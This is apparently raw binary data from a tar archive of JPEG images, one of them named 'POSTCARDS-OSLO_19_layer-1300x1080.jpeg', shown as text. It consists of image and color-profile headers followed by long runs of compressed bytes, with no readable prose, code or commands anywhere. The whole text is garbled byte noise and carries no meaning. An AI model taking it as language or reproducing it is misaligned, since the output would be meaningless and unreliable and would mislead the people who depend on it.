acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtlc"7M DK}qz;*omK'nZL*+7FPX}*N_.һ|zh*%x'|_ѯer[-/s?iI!I>z%ʪɎ~=]wBR,8c4g5' 8%ד40DH;~+HܡU,<޴:/0YEi"(; <~ت|I ]WFT,n,ffY}AcqPdOK@`bSN 2Be zR+bTI~(gx$<$֥s23( BU(w8دh*d"HϷAQIH]~Wno9cj\JnԺح66n?&f3r01Iq^]FOaos5ɸv`e, gTtf-qW*[h˔RvE)Np۸ Sm@"rSUpܒ~bYHdްJR~S{WNkriAb?ey?IQPڽH6Ʊ[[)5VkkK0Y}1^]0OGP\,gOe _%e:`RB;3RXmXbWdUVIXpԗ2.֐SZks#eߚhT7locv&Im񁊲ͱ!wSXۚBV7h48]5h_?(Z>x5zKgwP"aU-}~j=GPgIa@Jm{[V> =V^JmGJkܝ{[E4I&A⢭vA-btфan[P%򄏷p[OYZ 7ܟi(caTU<[+rrI:.%3(H۟qZYcS¥osj CRq`"m'׎qLx\}s^_]՛= ۭAcs1yX*^8%|8,Qimtsm;b<~5AeM~9KAVt+3O@8㫜>;D&0;cxJ=͸)1DȄ5- i6l>2ڝ$e4d7SBW'JEzTHrڔ"{QPMq$FFG}>jmoἹܱkEmv]+SY`<~)"aqXnsQTi6Bm;B}yqԾ4 Xv>*.OFkdTF#);SSU9Õo!sJ=~mt҄70 Aɨ`;"3+N䃜޺v>O_R0W9>[H.W(f\wezn` wPEӚx5-= xV5]SIR(tVnOls{޴rj__<;?ޕ+Ze*S\箺F)IXzrg ۪SԚC)>O5?.zc(Z=ޞCwnUv_ƭ~ax$fEwrG_YڍF2;ӧB[bivmE&{9)u %#z&`A=E+UY=_GHQ81u~=ǰWp3ϽaL72znC'кǡ$)Ƃ%wf*K;FD2p9%r0Y-h";s8Q;4ZOq+!9]*)-{VXv֕ wqʢG><zG&*<.~f.X eɻqjT6Y626+"rJ"YrM@r*"~MIm#pb=R ; [k`yV% *T{Ck:G5&GVPЖa_@Ua28JrUm Ф+ 4FBM*Tmlэ=JT6;lEX[IɂqJSn\hZx#<vW84R>?video-media/POSTCARDS-OSLO_19_layer-1300x1080.jpeg000060400000524145151724237330014517 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprt5z^]RR%qϯ}nV֛RBHv@ yݜU-/[m0 `нqHa[[#ֶu}g]T{(TAW%㺮~ n,3KW+;cfs]}2'j7ITH,Lq]\ 0g5)ٹJ{kzޙ>bU:5 gp7tɶ9M0B ƭؼnL~QErʹ(؀fnm-­57l?V5M퀬H,p֯u;$tg#,\,kBGgiNlK[?HK_O5(07p}<4ۥu_$ŮhߺI'1K)K{0rNp?Z7WW۲WG{\*W$f1Q.A0#αڥpWmwMp<+ޱ]T0&*WeUe3,UD?ZIϴ݀R "xLW:C~#3RC$t<󭫟嶺uƿ-Lc\ ~7T+PRHU޴;<(䪔bAaυRӃߟ9'@Z,=3Z a5 :Vִۗ- ;9:Ÿ۷spg,U@~ᗺG _Z;GTFin{wdZo* (^18vl{I]Vڡ[YH'׼EF‚@1]lPsI<|=ѮH-$Xg:'6\€3]o];L4b`Wp@9? o{xXu[]{NjEХNy}׌vf^,u"dUqo% :~J7?(R$sGrQHq˩ !L?5^ZwrĒ`/1{{Ȃ&F1VԠ]! |iϾ 1T #CR!R$`N=jޢ21G~d.0[dyi0sWt-*3Ml[EALbEnqiX5ea x*c?J&֡JJz̭l1Yws>i-~fa2q"i#EVg܊q>5\f]!E[[&*jJTqD'_yP6|FE0S4.QF(:QnOELA4ڗhqF:qEB4hcPӚ5`'4CR#1qN)M":rT4342RN8Q֊iQM82?7)sSz c&E ` xb۴؉a:B;ӽAZ{Ol>kK+<19\OH=\fŸ+ •|sьBZ.jntJ8R+LYz])RTPh8Cza=% 4``Z! Ɏ+'km×v.|jv$uL1\}V኎(Fk1u2T8X 8E i:^=^AJjW;S:뀙sP*n=FMK]h1h#{մ1z`MXUFTu 21y?N?\5xXַ k^<3צ#w .0zMX[-mxdm~L7y=14GN vX?O)s}TAee =,9&$ndzjҥR c9mPw,°ȐdT o?jr(kzzրuzV FMQ2±]G}(ae$@& ,Vi = űHE}N;nĸ*Zl euH݆JYA5hucyy2IGcӶ̗2HRjI sֹNghyX> ;4mT$"`1=jZc@ReǴn%( ZN{]PUJ'MukCaI ڲP|j _\VXE0h)ʚ9N8ЌJ3@0抚@3N * 4'4Ҙ RSL6h1<)u1iS `t*C"5*]zR=i?//S҈ϕ)SS(DP3@=*i=ixSҠOJSH,R@#"^)"MNy*XHyP !SPLiI ND cM:E8eӚaG4(ۙxKUkٜ, |q(O?}&PͿS%J,?Ҩv#s ҭ\;St5*QEgqZb#ҥJ!~*ɩ T8SQS)lX5o'ҵP種~VcݶHU/|n3U/a.5G₍ʕ*Tf3ZӫA9JVHx>=,ZrdɊW|[UCԤ 爨un( .U bA5V֖GJ&>+ǟji Q5浈IҒL>Zu=*TP52b1S[$'(cjH$cs#h#QU8WA$ %gåa*&͕ yso&߿GjM8_?֧/?uQFZ}ŝk[mT7sϧ޹[í"7nxw-=du۞Xnj{x޻{=+4ۻfku}oP\2Ȏ'7t* N'Cɗrp}ɹ,;=޵vgj5C<LW=KX|0H_o."Z+NN9Ȝm=Aα7%Wӏ>=v>ʙ`H&Y H9J޶f~.9&kNeJ KhyW`Y.\ 0f+C:rpf.2qr\\{(#&:F)gǸҬvvLXλ s3qEnK*zhc"9J#i*7?2U_ ~ ScSdv'k8e?yOط;=і;q<Ǵ" G?uZQq> wm+l'Hho?- 3cֶn cPk`Y6xeW%Uߚʍ: pٸw' AXtZxYmxW({Am*[Ǎh[_!A<Hb. (H IE.a0i3,w\(i,s OE\imBPvRz|n)MxGum𕅂{v?{}w~ I8ozW{=f:R׶fJm$K,( t9zee&vcvvQfH#e8-Oc2m;~RdVyyG76ɴfTJnc v zMS{"ݝ1Q;^yьh_7 bsT\ vz%{!fH D>$p>9?ZPw ϧJm)&Z+B*V* /cd[he;8 3 ktl, ˀ8MBLϦ %7y wں)ק޸{ =UN^vz.,ru׋Fzȉ94TiAֆ3]쎟z TqҮ[+x +7ÐI뚺QPwJfiL b/J` n&S"h'vQ:Ŷ>tccɚP sLy8L)PTŸ֛Ҝ0☘4nSրH;G- @чe@ g>tR\ izTPL|ǽ*PcIsH49)J: ǽ?49 Bc<:S 'Ҝi('C'Bm֛tȎDrim}E\t–M#FG^iv1YORx dnlA)VwMMҝVԚ(⢳J81gRT7j7j惇J%*Th,NZpɬ}>o* Ȝby{tq>8ʉȟ*X0HLU~**1J*d ۰"O>V/g/}ݬ^njV .ւ b#**h̉4Zz>"Z¼fMtJcְkT8R*5pz*88Z1URX>5(x^*%Q) ˓F|9n$gƞ,3j2\MaB ~Zؤ't u1i x,M-?$gm[\3=zIl іf\3at]Ev>bZ pj7[ٚI9*3knFX% 1|^;}p2Xn9毾ުǴD8knbK f"FT[bI""p&|yl=pbNx>F! >״vo[xr? mnX]=+WY0N'JMb`IVvf7Fy񠹡++/sYN%I5zWǒzrj^]5%I,rIiu~::?VaAݜ}kSi 6d1&s- W-778\~[3 Am ~݌_rj>Ӿq`H9{!VPLkԹ[6驫X׭g&#ju}sM6N|є[ ۰zKk]i%C#« 힞{r->׭!bgPg4dISYnr`/<6z?-g+|&;NL>r Bhh 7$D~'_]GJ)T Կ{=r]b-V#לڸ+J ~'v Zm<nGycu[nK.'_jv]tf;`pJ %.A[oLMi}:`œZQf=;AGҭ%m6{9Y89}=˥،(=+KaP0MeUzW:*z:uukhiϜ+!6*ž(W܅+0>ҊZx:~f$aUAn`Bx Q]~ A2O?=WP$VUDNIljVXڝ Je H,CL#%PAS 0LI;|T#Rn[?v8Ĝ`zSYh{{һ|?eo1I|HOһ?[~2`O*e1Eֵ&:O{4=7`};6wX+Z6Z)޷ʨ"[|kӿ v,d"'ʨ50;FjtֿhXϒӟNBΝ]qrN;q}s4⵨CDcۚ[1>Faɇ 7,66AυW}1K)a-O͎cδaq2sdcT݇(FF<*Y[`LNj{s ˼sUnm1$3*!UM8`ѰC3JYxLy+76`Lgvc&7m9q[^x&Z+6XEOaWh;iy z5]Ӭ |\ ǍU*{ӎqIp)-AZa"+Cq@!IA"O4J >uME@ccEWc":S:TSM1'880 R/=hGHty yQ)ӄ@lR@ tZQ~ittlڈ͚Ph7,LE%`pOzkԶr }Di|h4tE7 E61NJ@4~$@F9~^b}@b2hTniw3Rm=( N #[ .Ï]im` ᵪ7Ii۟c۱lfqxNH̫DcJs]n\=!}L;`a9{"*pVhO4j\5#H'n]GlZB Q\ݷ"GBA GoÑMQHWl鉖P-!S)8Zq4h1*(ךPzFzԳ<)X3AQ'@䚒N8C<+:;l*DGZ, xWSo̅Orr\ w@ESz'ĖD5B7)7{1mU3n?uA %cHХr:u`4O35_qV0C}6vY%k w-~#YUAPB1wXbRw*Oz tl Ui^53-;_Mfn3x5j4m2ykl%rK|@fIYw66]RW.7v˴dVfB9&޲uzWjOim ]/hviu7k2d1:Ve~ yj,=62‰±~jKZU[2RҺcK|عrMw=X(` H*sbm-r]`ՠDJI}³ědŸxnKA)p5gHʨFTzKkvm:m*''3idDH;ci[MwA7zse_Z4l2DSf 8pUrg0=>o.ڶCArf@hHVYrd}6Tf V[ONפ׈MciOHKÖsx5sЯrBLMJagp$Cs MIz.\gcAfwj#(%2#/u#ib$n:01 OkL]ӧ`BȒ>\O-ٙY'#ר]p./_/>QFgk.vv5 ݫ!`!})Nf1+˕ lXlKݜ^Fb^sk ŵzur;'^m[.9_CZ{ XdG5柊[}x LsDK5^[7[+q5%Np :K`z#;^:reƤIsmV{GJwFaXG£l:id[?IH78N3`!y]e\qTv#ke݌iʟZ싍l5GyٌjM gåv ! {؋m`@3][jT0bOmAaWҦsR^@Yvf; ŭ9 t殮9zrT|[N9:F*q7\Q @&g$4Ԕ'@AR֛Ǟ(S)>T#p"旯(&)1F(O4R*=)RtΙ";DTLP =1T .{8GP _W暱kV[«.[cvˣqI33A5ngΦvDYv쑂J`B,nT+EA5=5gҚh҆b >TGLdP1Oœ>t\Ե8y~DJr`œÚҚKQ5%k)RJ!oaSpjq%EByDM1tP>?ڣ%q췶Pmżk  p+7vK@a?.DɮrznW~2m1Rv#֬3MJ)UT. Də-3QXf5fZ*FӶL1O[3El;׽קJ8f2~7 jA'vgU gzޓ {WS2ZHx[h xjiIn"dtٯ6" Kx@=q-5TAH&A>9fsmm[^ F5(%m7%s cO>5w70~Rq>QfP(ˁ'2@A-lL>T A#8@n;ⴗ]3Rj[eD">԰ﵧ$p8?vȩqÀ` $oi5>:'1Z᝝;tk  ζ4:zʡ۸ݣnսM{e'n7q]cQmX#ƺ0~̭wxk~ D1U۩N c4+nW}3؂IOUƓHCbGSi^1^zܲij^KZ)TPܞivw`Oiu}V^YܠS%+wGxcƹNԵzH>hzڪ$(0182|+.;|s/|0mJ(Vаm}=&PHG|2 y]vQGX..v停㚢W >իqmԝqԳ%!&0dZ}35ET+'*>vBܖTY1ڢ{I LԚ^2q28iRPaC?v.Xu~*0;IM @YmVDBbk:f{:tWY-1 7H0bzWwĀT\,A'=v?i`ZR|7~,f m\u5[PG`XΝ0LJY+;oDnZ#pF'jU9c46Ual펀Fb% 0~F.︪`^Ӑ 9'IqPuv~Mqn]R?{jk]].j˵Q\F|`!` guٷ89W [0@GY&κJ<ҲыRO#ƤQIDvIOJ2E1"8*;s5q)!CֈP LxDD1Z3A@HzTޗ=xCKi3N2)8*]IOEiiJc1Oݏ:a-|ii^(SO"TH<|i4=7G iŬqRE£DOqlq95#@!TE:3@# &(15TKdQ/€jF": *@Nr})ImӆPO3@(Q?48 Dϕ̮ Pݪ ӳ O~%b\Zv ׁĎz{څvF{¼Y"U$ִ'L?}J bZU3ڵuٚ㱘*v^kwRqF(1Zb#T\⢩_BJ#MOMSN'խc NkJr1\xDFt1ҭ 9D 8FV1暜MLtFW<Pд!뵔<zq_ v[*^ u6^*UFmjBUvVz!D(+Hq1ӉRM9dT=D`T) @ᩜl`i Z7 خ;K:KKWH˃ ~q5ںHPr ̊N,w0qC),@sL.D %`6 $>^tT#cNKBzm-–DQ==Gmk: zM<9`kGɆ]j#: apr$jkKy>qxH mSGm!@0n9z*%\xX!gj;gKaf ă<XԲ膧^h.ъ4^ۺg qOt<増n!5}2w&TVGamD5U^GiW%28?Z.Nݕۛ,\M(Mj-{dS[ ՓpDkcθncآI㎕c."W]:4-9?j-br+/vGk% tU;C>l[qA!m5,8ǝI۽Q\/#fF?@e8Ɍ>KEQ'>3ZRXF0?jg\`mïl/(ej}tcVl+[A#~N< ©꘭Qd'W+9u6р*>>H$:%цhǻK TIFcΚظ]IZE'$Z'd1o".0?KCM Ӽ꧸T9$=Td w#N i'#ǥ5\bLn*dOB/ 99mE0@*TGcG{W>-8gfݼ #0#<L_0f WoR.M]aN܂؟!Y h[m]$\@dlF~"nwפh5KJ dpDDRi.|=傠cn3>Ylfmӻ#ֽw7KU ">暝9SpȃvHz׏-eˆde/Wb9:ָ9-KjM-@'ר47aY}_7X 8$>5蝞.mA Bk jΤ2@8zWf`Bn3a2DyT0$LIj8ե$`Ul3V)D֝x#4#4A긥@7QyZ%3A5H& {LyS fhK ІA& s)DzN4uh9i7ZsRR !7wސ4Lj9ݷDž*cJGވri zRJT''9<_>:Sf`P :)bh4SSӁ44iJ*w}m4ԇiGZDZ'@(JiRӚn4r:RҥN8ℯx1HҀJ @N(*efJ\<@rMGqHGts/l-]b9 \ŻYI2@Lpkϵ-͹w1@5ly:dj9I#ҕNʖJURZMIk:sRTiIZFeBy< ?JTBBJ#LiM8D%V;r++E"s׭sr7 ݊H@ T-MN'1_z.+tw<Ӵ?ͰD;"$z=kI>< jyәڷ>5#| (GTF!!bn"CA5.0@r˷Q*b1^>Xc>>B-w~b nMS% U1mӧԴ9~k |#ǐ[:l Үmɮr nQl3 ~Vic)71+ųY7a`\^JtwY.Dҥ^8GgqQWŁ%dʎ$.a6Ӊ*ƬUTqnȪk~#?*VXUKg k0ǭz1dK0^2;#=~j6ͮ.Pଲdl~b d]q}W68򮜺e;u=tW\8µ~* BU+) qF>GEmNheV5oW Gkb97.*m>>^Iti rҶݜtW2|W;^Ez]vYڮfX/Õ %D}(,m68*]ewBsبo[.U&95kdݸd ̀3 (RK3dI,)*vfAgϧkIN]( 10Nk9Ϥ}vˆKhn0$u0*͛屵W9*voo4:$LD⼿jݧ |O8vгqlܸ+:)Y;B"H,dUm۸%K'|kY:33+V6" tᗓoq.='v脜zW %}k4q[Lo1\ul70 "q3IszwDެ@a8w@]oep =btE4N0۩E'*$M}OJ(10"(*T^)q@ )֌ӀzǭqJK7SD83@(ǝ0!<)mizT4&](by& EF֤4; Zm9y{מmB<{pA>UjЩi*eT7ۚӏ<)J;cJ*= nn[9_-52Ntcۢ[*;u%i*T*!KrPTRpiŝZ|֑nBsr yVna>1tTMADxc@F|iڙyJa#Ư(#HSBU;H\ܝ (11'™ 6B $5͙ ϏqT&H$^ӷpR1}"7m*uT5SSYe#~R \w+c+G{Yv5K0 vJvq\|A;[TNĺm='|kMWtP? W wtvd ?j"6$~ittAL ؚś[pc8>+H /Z$TpfQ/FB@xTh:%`+݂<&O壞*KGx d+|]I'Y5$yuץLwZ$L+B9C j͹r30$)мxncK{$?Vv4bA?;J s8ɵe @>VX(ld= 8K6?0IfMgRyYBb U'pfkHF&ӡkZۆ.ѺF@⻟rUnܹu 9cl`O Oj_ "##?Sb?{min('x+;Ovve#zz[z ,2ҩ1*wMm A9S+Jʻ/Nno{d"}k4+6Tae5iήJdz3V#33:M;#$rc 9ۨAu11[V f9j*vlf% qJ TR=5 "Aӷ/P !,u#m}i*CXu71ǽОL =)t)S<Ojc >AJ;(zy4O#S}9i F6zRRR/J*TJ*wzC7Z2gCf1qJ&zb`Ҧn>q@/:i*hmH؞@*oEM@!Hm8M!JmC"!Tm*TRimڀيS|)z@* SP Qi!b2L}궡g@ԁ̸$(ň9s@t.MfG :zrn d< nGQ=kLrmSXcq-JTy*[Oϵ*Zԩ/]X J1i*TڈqRݨ**T8Tƌ8@9^Nws5ۣqU1SL~*pUFy<ӊj14œ e vN:/XPILm"H@:z\#\t[X@rGtCb=(^$q҈"Ng5g1֪5]r^ m U)jj5AV 4BsD+h"9HsN!2sRTiIUD Z>2G`QT`QU \,`VؽP`1ڵvam#aT Pi#֮{l3-,񨍿0!0ajX+vi؂jIejPv8j7 $x* l$:{Yr T% LV``F|h54ڋwmvʱfpv2P {W8>6ɓ=*{'<9+wźtiWvwk;R=NGIkVBhnk;"{ ʿ(* # bD=%s=IDl8#av'k۷fzw[d #WǖjqY.H4OIp=hԗ!I(dV6o+n*gw?dvAcP{i4IJ6>ZzNʻT#j8ztĽwuQh67jk75: PLzWKWً= [y>~q\tRC/C3j : ,A$df&#'nCKsU{?Rtگάyyk; lάv= aFVFP~ '=Rr`Ps W%t}Z%TKK1H?]*7z MyY\^H\TYBLeZvFGmw\^u}h,ϵs,*wT韯^uF"ˁ2mǡUKݲmmOʣ uk&楔I 'Uo_F޴4LNVX~:oŚwq+;3.>gƺ+=[a#'T#ۺ^=DpI'Pv>MK%Hr1CoklWY6NJ#{MiKtcHA5mt3 H>Uacv<5E_,cU0" !@G SnH)zTMOJCb#4M&@y4tMN8*pԉJI'PD1֝p(Jd[@V<(LM=xxR4!LsO@58xJ$R2"3OJzP g(S4<)P $sɡ8=(Hښ`E+Ny(J8"yn:R{(ʐ٥DP5% @{LD L8'րz@ ?wi.'ΘZf1%@H0 R>h ڗ&Gv H9ڹmUئ˨*2Xdp8>nںɵĞ|#P]\qZDP7b :UP6Js]jKI-ucۢ%(fSHfӌ dZxn&PRA¥JEV)2:UH'U4ddzktPܩ֡j!FQ5#*T3MJ eI6U+UEH:Ucsm=J϶ ۔4B6yf'Ѯ$>  &]3DE#©>JjH1 Ci##UX` *EUՃ: 2ȩiRӈLNjJu0}ZzTiHA*dEhKԖVf#L̰x B'ƯvGf]xi)Zaք|֮7aL#҅`}(mh#P .&rNpi;@E-r *|-ѶCsNKե&@ A7~\sz?{ƏWeRv38%rǽ^U_}ϹoM3l^:?hY7tH?0 ^~9̺Zb6 Z]aSQ}u3<D=8z5^!Gq#b~bAmƩ7d0RCr.Lr ^DGJq1&=Zۘ'&yHB̟,sY6l9D!r+_m6OckkòvlS _oAMc ĊIt]K QUcDX`sHҩi:1^%WD?.="+k;\[oX`=`QmLLY:mE .Dj>XuvVJ5H{po?Z'=#m?g^P-sW Τ ak=m;! 8>]Z/WtM?gغ]Z]V*wB'8-!e-s٘Xw{'U{L`dzQoj]QB+1jȃ*45?y$҄b}*B6gހ7pzC*JAD?65}n1,NG'ڜkuAm|>q¹_k=P$Pk'Q" I qp}biQrj\kIH$ұ5.!u@;[2c185M LnGrV' @U2 sZ4i.k-s& NG*ɿ|h cNiSfiӚcɧNka}辴=i 4*5⤻BRJMOLk:qcF{Ʈ K -jFc>5}â֥9&L/()iPD+t6t`JoUt;LQ<;tbCCOS8fHs}26'\]v65Ic_#ibzZ<7Zjߖu`ʘsD(E, $ӈX1ɧ}( QL,1ӭCkq%=)OkԨ;Z?1TЕ#\lۀ5]>˖4 +]51kp҉A> m%(4e[ҟgސ;HLwH*$ x֟fr?jQ,35و7qW?/KǴڎ''zHDdEhj|!8SbKL֗GlF本 {Ww$Mi.)3[d"|VQ{HY֖QHf eG3F]Ů Q/E.p3,;{q[[ D$0sKvN tW"n^ uq~M텔aj֘b\$(׀>Ұ2 yWsctX xMx勻}k*7ȮWP@FEn~)˫ٖ2O'\fYFquyf\o!0ſ. `.:WZPI9wm+Z۵zs8#ko𽿉a?/>{2+k ږHS]yt¨hEP*oݩ'B,cDԆ68Tnfi05r :(fi1Li"";'ۧw,h4Xze#4LG_.k7Aknm56{# ik4u*s+mJ5mo{8`H75˛4w`@0#X: v p69uk[n{Q2ٛ]-i13mey6={W3ʽ,%LQ{i!n]${Fk>N½" X34_Ĕ{(`rkeT~u' , ~^BϨzʍC).ů֡Ag:WVXw~o' H+=8xu[r'G_t×]i 䞕ki]7R~zqZ:;mdDC0tҼ\:nM)^;i΀}ԧ3O0"y')?JbhF#Ί =x^$g΀0bL ag @ M>sSn4۩nҀ0fFqN[ 7M 9CM4ɌQ(L^r (VN3Q4Cj ő;TPI(MҀDS*`|@Xǵ.AU>x?j(kEBڏ^N o~9$ 1D_= JJAϵTH9@O#q1",Æ a@N_QaQ3'*Z)'> ҐcrG_9ΐUQc΀oFwHADsҘD|VJ^ul^ns|P ;| ;|V=I :qHZFf=i麚dQ\PTRSOLk:qcH5j"LՓ83ۓGңjP&)ۓL8#*G{kLxh)q>ta7u=5D;I ,]^olj;:`PG+>`BG~<0.;"pلyWl\ $5qvpy!NVbϵtt$WxkT=2u,sMNЄIQ0j(m4lawThf+4ȢCNHn&e^**VJ[bcUO#ފk1ǏjVNh5Z*lZfWwJ1SO dz D⹚lHTZm8ҧQ%U#P`@ۚ#nrI % S3+^i(OtG&U WjmQRK*>0)pSϵ:Y * }*SbXONX*ҳ88Si$`k9Zgd s'fAFsӭW^iJ1jμM Zk:qLqUe{]ha]MrwwUzSK}IHjsoYfCJۼ7c CYSE백rIn]˹<@~^-RX&=^7\Wjp'YgpVD ™z+N!N3ϝtv5)̬X9~0%Ŧ9Y}]0/m~)xC;='hMn]1ξ{w|橩kyHTU?aT*Lj?2χZͼdM3NLbTAO4ژNS)D ֿd> ˄fT13H`GZ5:q]OzqUKE~g_ L{Mev6.H]mu.6:jj-ʨck~}j. Bu/gZlrf?k1&#cv"A8a!Žzjhu)JPUoUd0[`X>U;cN̥GV%Pi K "7ujQM})^s*+  UD5FQma7F?]gT+#GEmR6nkN(-D{*m)|BLsZz ]6ةڊePI,yWoL+@\Oa F$2: yW]?KH$S([\ sGq5 N(е>ՑsTM4#W;3iSrle< kd_ F.o^ ɲo@ugU]ТOU]0=F(<ӽu;`I *_$hJ<)$k 47=+S^ j#ڬ;Hޑ(#:?5ͷ0WG=E';~i@~xRu{͊5#wk=w&T$Su?>hGH34Mt1k%5iۼ(:<4<c]Bs_ X5-ac΍&ő1&q@n5CB4'Wks|&YV6Xڅ4GBdK89Y++9[|T[@2@5ۂipː$WܕWp[?eԆr y;~s.ov?60 D]J߶+X OހӒ7#V-2 {Zm,(!F\{{V~^ 9:'֑3w^m!=JO1J\ҁJ"INkai'35#Lz4".*TLhǚj8n ZVǠoMjatR#?TruXH CJ|gNwX֘w}R͵&NkIΛPu|\{*폘qg\l$t+cÓֲ^vES̩L7kUNu`O?޶lvVT5lj_Ev7xcƲ)\S?Ҵ4UN^TjSb 485*_Np<_oAuԟqϘm[bv+=-^` |d$}5d['PX4W>@ZzJ*ɹ{v֭U(vVvC_5L7-̫S܆et?slٞzwIoV6?m[g@xc3֫1r]ENX"]٦(vdTx5$۸i3HbӀԩRbEo #B SEmvghmqlI;bVCR|]5EꧡR"E^G ''J@*Gk >8(5fxF'˚ղN2+ t\bVŒ6uǕ]X-;ڂ=ee.w@#;A$1Ҭ-.˰n Y^l Ȏz~jy!UCQ:Vkqjݒľ}eʚ{IWQDCm ;TxMW,]X['w(n۷a{t ­u! Sj dgͶِ;2nx1SZP @74n,hD=c1]ob2 03SU-^T&`:qZ:M]wmL;UQp\MåBwtev7j%0ǗSWuvlH =yVh\7n-` \g#|W?E'w>>n]2(Bc1UY@$@X5%Ȃ894cYl^Cso{n-vr0;1mHCh  :;ܴ4,F9r`COvN" C@H:sPgS W ~"\.rqP`( GnXC31"3H6^,$69#%DϨMyu/ yb|qT݊/uų cИTLVشL3 $TGBԋ`7?0^j1gn أs;b@Ǐjk`O'4<Ŗ쉘ıǶ*[L vgh!Hڲ\nHX*[wn߿oF9+@hӸ.`= x߇4_^p ƫ[ v$/z^3os 0FIKL Rs: u_q,z2|?ޡܼ̯u;=GMkXn3\fp~h);Oκ{&>Y Q I'-9S1"QïU䡐81Am‚?ZD2(:{S2R'Ҁ +Js EzeNrh7S(u"47w4n(ۡ,D>TTM#wz*e i!J&jQa@ Pm d1Slb;@˴c&⠾ AVVU&pymK|E=ֻ-XƼ\Ќ۟\^闯E:Uin$UHm'áѤ:@$wqX9UL]@j~#&J~Z:=mNaGIzn"$ {rjRl?4-mB"y ˓?*-VM6*dGoGoՔqHZFf=i0"aB(\*TPgSiǚZ*6VyVv{>F"2.mPwLHukUq'kFk,rJML91N|}b)IĮ=.Lӗ͏w \YSr3sV&C{Ne~Y+Żwo 1WlmGזW&k)onѕeQ(3b|{_؇᳨ FOڰu;DȟףˆQϞFGlk+){dȊ0epOO1^_NI~sVnUcI:(Sⶌ*t暝9 EB3sG@nL$RY>BqR=nsɦ)wbJyT=֠6C 3Džd6=Z*#֥6U~xP. EYZ%A4)lV״]tdy5]҆d S=&9 (< fd1'ץbز Zwm=}+b"T)x*pA@}k<6L0rv_gV m@I&a"-洨 1( Dx@'&nePU~5>l T %OL@H)@ntwNHbpFI5 l$@@p|j3޽Map/VKΗP-O**"5ݖ5h!ϭ,9/In F < @=VvLGGЂX' .7[pw+={~[v~=F* lʛu"VuV--SqcĆ)_rym.Zh0 ;|ƘONA'JMFxH[0gƄ6r8;`@bgҕZT zM2,`MBhjMкAi[Ҽ$Wl_- 2kҘi\OHAW>R)W> Vhf~)}!?ZC)pHdXk@,]u~ֶo݄ hvW 7ۿןgi;"lGA]gv͝}͞-RP{a31j3> &Z|Zd>ƴGt0^Yi^Ssc+Lk6:[k`v阏jƤ;+ɩ-n!XQpߚ+v ^hRںIh=TPStx  z6}X \u[l`e CG%/ nG$OAssY6*Lg8*+ٸ !LӞvB۸ݥ.q?QL'>y:kx$?0H4bxATͪbЏ#L.@#Ko*܁>E$*Ppdb^4Aq@4R1J<(384i)n'5;F(-nSF8@1K!@-{~'hP1OM0h2)OJDȊ`"p"iiL҈7*DLSh̏ m NqJ#zbN*dtڷ2w0x5T-陌箬dfR{I1:_R2(v2CxEqw巖CXτV9UVT[v7(#3~v4.[m r뚎Ep ݻyz?No?'yeqz])ub8ګ=ĝ @Y ɀNGRz{`DOr&GGf vTmۛ)#N<Re GoGo`qJzS xZFeLL0S  *TM8QB}?5eDS-cLZ}w{fϿUui[-@³nck u^8)5WQEba:/o>~F66~uOC,֔Ng'pIW Ln.ZMb>`p+&dV!NWֲi2ʖ'ǹhG}Pu'j @b=MtcrE_U_4Y? !sEqD9tĖt{.k'p Fxy0ׄRpEV5bfyuPZ!mOIyIy E93Ik%Q\ALb,ޤLp( @Ʋ״r˨;XLAVtm_MzvJ=x{/_uY8wV/mV 'Ұi/kc\}qCґb:g=zN-l+#\;B4* W.{w =qǎ#J NekA9Pkn$\H  hUm"\ Z QfqbN: NzSFZ!H+S"ZSiJ1ud?g`8lipl=9H2_xʹӒ}]7v%88my\j攧ö۞@Q|Ovo5z2 Lɑ]VP5u @a0xBؾC*/veU Tbq`ދV~a# 5躋 cktW-;TL=L}9B7!bc|sύ Vs2I;3Om m~nLI=W\)tlyq[abܴEϊBUT3ץV\ā%gn-2zzuO(1A,H_8ޛ/rvɘݭBW۷w28;^*ۀ,^F'q$ubJa,&D}?Z=k w\ :ǞE"aK s@ųqmYLt3֙.]Ų%O1=9fѷqJmڻp:p,\ڻ@ebI3٨k,.*c&ANc4dŁscMl:mӂcT;B03EMinjRT$AS3f} #q pg4€zjc(c@șnT9r׭gk*0ў?W3Km:]GnmC#\;M ;wbg=kwHEqp7 VS[k8%DI2 a&39W[pZH=@gXj&[U^|U ZKypzzϙkw%60.A1gk?Wv|D_2JhXwc4lzUhD/Oh:Ƿf]0A!/w=G^+1U%4Z]vnff @1z}<^ڻu\HlO*`-<1PE*ѓȍEjǷEX)VR<T)&S(\*TPgSu4nzMAV94-j 0sL8AF]M10k{tj`iɮ_ُQ񪺫ab0=bUB TM`g#OX{e LӚF.@`5߈"),`{K߈ԗ,<]8~~Fw'G+ڋrrʂOzynq]wniHyYָ2 Uxݼ՜/H.Ĉ:P1RZtA^(hJZ-")?'tM'еF)ۓY_Q5 2 tp+\ gvaaP1c sjٲhsIw{ Nn!h{v35`Fǯ첩k 7=W1ZnۓJ ,HK12Lb?`2 x>Z+ns<#>[}(00$d\= .K@y21\[Mfmwp `֘++Y`5Ib摔.0O ~Q=`#uX%gbv N0u(~X 4=iK]nr yO<}c~,;ܴۖXlP\oXqFO(OHE~K7Eln!`S.mEq3g":KփmKn+Yo0Ӛ~2(2,^1DWIJD=dc֬|u{"ݡ$`0kMcCfOXMt $E/j޵*l$ׂs57MJ7o1U5W^ I[1*ēLf2X]UExev)PwrsZF~Te|7m߸#J?6+޿swj8.fKϏ_!Oo7.~v!xn YyX<~ɶ5AghZ6lX6,s޴>!GĜȌt{;‚@k}tG} iA?A~0~T*I}("ˏQ(7UeH:G6argc a¥ ]D)$tDkYYxNt( <ϵ dCF@azUѴ܂"zs>`3H4g(ܱL b9RGdPLyODT Ia֜ *ghDžXWX>ScT{ni1bZ)'xɓKփtc&~Gip<(s֘93@= zPQ>09$D)1}hc1?Z{zYA>5yJLW/Wʶ"O=½8ӹkB>]ASXӪ:m; >i.YJoƲŠF7f$f8t˵!c"x\7fى`/ `1mn nm[eFIEaHotr72Gy X%$*=j-܋L A \H Rrq۳.=&Z"cU*<86M|PTGRDLK{ =kF*;Ժ[Py|z~ 'wF'$Q'f]Q0Vmf1ry5MQjۉr -ߧұh{i?w@d #q-1 W걊\YlHP f O!@*) 2st$f{κQkv #'1X]Ӛ}4i_#8n_ӏ;!r 9&qj5@Qw6Aφi!a[zVȒʒ}($ L>V;+Km.b [n[St'"GSViԲ}懵[$ 